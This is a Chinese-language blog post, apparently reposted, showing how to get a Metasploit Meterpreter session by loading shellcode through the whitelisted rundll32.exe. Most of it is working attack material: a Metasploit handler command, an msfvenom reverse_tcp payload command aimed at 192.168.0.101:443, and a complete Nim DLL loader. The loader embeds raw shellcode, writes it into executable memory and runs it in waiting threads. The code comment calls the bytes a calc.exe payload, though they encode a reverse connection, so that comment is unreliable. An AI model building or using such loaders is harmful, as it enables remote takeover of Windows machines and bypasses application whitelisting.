白名单 rundll32 加载 shellcode 上线 metasploit

监听 metasploit

msfconsole -x "use exploits/multi/handler; set lhost 192.168.0.101; set lport 443; set payload windows/x64/meterpreter/reverse_tcp; exploit"

生成shellcode

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=443 -f csharp

WaitForSingleObject

这里主要学习通过“WaitForSingleObject”函数来等待执行shellcode的线程，否则一溜烟就执行完毕，rundll32.exe进程跟着退出，反弹metasploit失败。

DWORD WaitForSingleObject(
  [in] HANDLE hHandle,
  [in] DWORD  dwMilliseconds
);

hHandle 表示对象句柄，这里指向我们的shellcode。
dwMilliseconds 表示超时间隔（以毫秒为单位）。如果 dwMilliseconds 为 INFINITE，则仅当发出对象信号时，该函数才会返回。

这里要在导出函数里创建一个线程A，然后在线程A中再创建一个线程B，用于执行shellcode。同时都使用“WaitForSingleObject”函数等待对象信号。

poc.nim

编译：
nim c --app:lib --nomain --passL:-static-libgcc --cpu:amd64 poc.nim
执行：
rundll32.exe poc.dll,test

import winim/lean

proc NimMain() {.cdecl, importc.}

proc shellcodeLoader() =
    when defined(windows):
        # https://github.com/nim-lang/Nim/wiki/Consts-defined-by-the-compiler
        if defined(amd64):
            # msfvenom -p windows/x64/exec CMD=calc.exe -f csharp, then modified for Nim arrays
            var shellcode: array[510, byte] = [
            byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,
            0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,
            0xd2,0x65,0x48,0x8b,0x52,0x60,0x56,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x48,0x0f,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,
            0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,
            0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,
            0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,
            0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
            0xd0,0x50,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0x8b,0x48,0x18,
            0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,
            0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0x0d,0xac,0x41,
            0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
            0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,
            0x41,0x8b,0x04,0x88,0x41,0x58,0x48,0x01,0xd0,0x41,0x58,0x5e,
            0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,
            0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
            0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,
            0x32,0x00,0x00,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,
            0x01,0x00,0x00,0x49,0x89,0xe5,0x49,0xbc,0x02,0x00,0x01,0xbb,
            0xc0,0xa8,0x00,0x65,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,
            0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
            0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,
            0xd5,0x6a,0x0a,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,
            0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,
            0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,
            0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
            0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,
            0xce,0x75,0xe5,0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,
            0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x04,0x41,0x58,0x48,0x89,
            0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,0x83,0xf8,0x00,
            0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
            0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,
            0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,
            0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,
            0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
            0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
            0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,
            0x30,0xff,0xd5,0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,
            0xd5,0x49,0xff,0xce,0xe9,0x3c,0xff,0xff,0xff,0x48,0x01,0xc3,
            0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,0xff,0xe7,0x58,
            0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5] 
            
            let tProcess = GetCurrentProcessId()
            var pHandle: HANDLE = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess)
            
            let rPtr = VirtualAllocEx(
                pHandle,
                NULL,
                cast[SIZE_T](shellcode.len),
                MEM_COMMIT,
                PAGE_EXECUTE_READ_WRITE
            )  
            var bytesWritten: SIZE_T
            let wSuccess = WriteProcessMemory(
                pHandle, 
                rPtr,
                unsafeAddr shellcode,
                cast[SIZE_T](shellcode.len),
                addr bytesWritten
            )        
            
            let shellcodeAddress = cast[PTP_WAIT_CALLBACK](rPtr) 
            var aHandle = CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](shellcodeAddress), cast[LPVOID](nil), 0, nil)
            discard WaitForSingleObject(aHandle, INFINITE)
            discard CloseHandle(aHandle)

proc test(): void {.cdecl, exportc, dynlib.} = 
    var aHandle = CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](shellcodeLoader), cast[LPVOID](nil), 0, nil)
    discard WaitForSingleObject(aHandle, INFINITE)
    discard CloseHandle(aHandle)

proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =
  NimMain()
  
  case fdwReason:
    of DLL_PROCESS_ATTACH:        
        discard   
    of DLL_PROCESS_DETACH:
        discard
    of DLL_THREAD_ATTACH:
        discard
    of DLL_THREAD_DETACH:
        discard
    else:
        discard      
      
  return true

引用

https://learn.microsoft.com/zh-cn/windows/win32/api/synchapi/nf-synchapi-waitforsingleobject

https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-createthread

From:https://www.cnblogs.com/StudyCat/p/17486680.html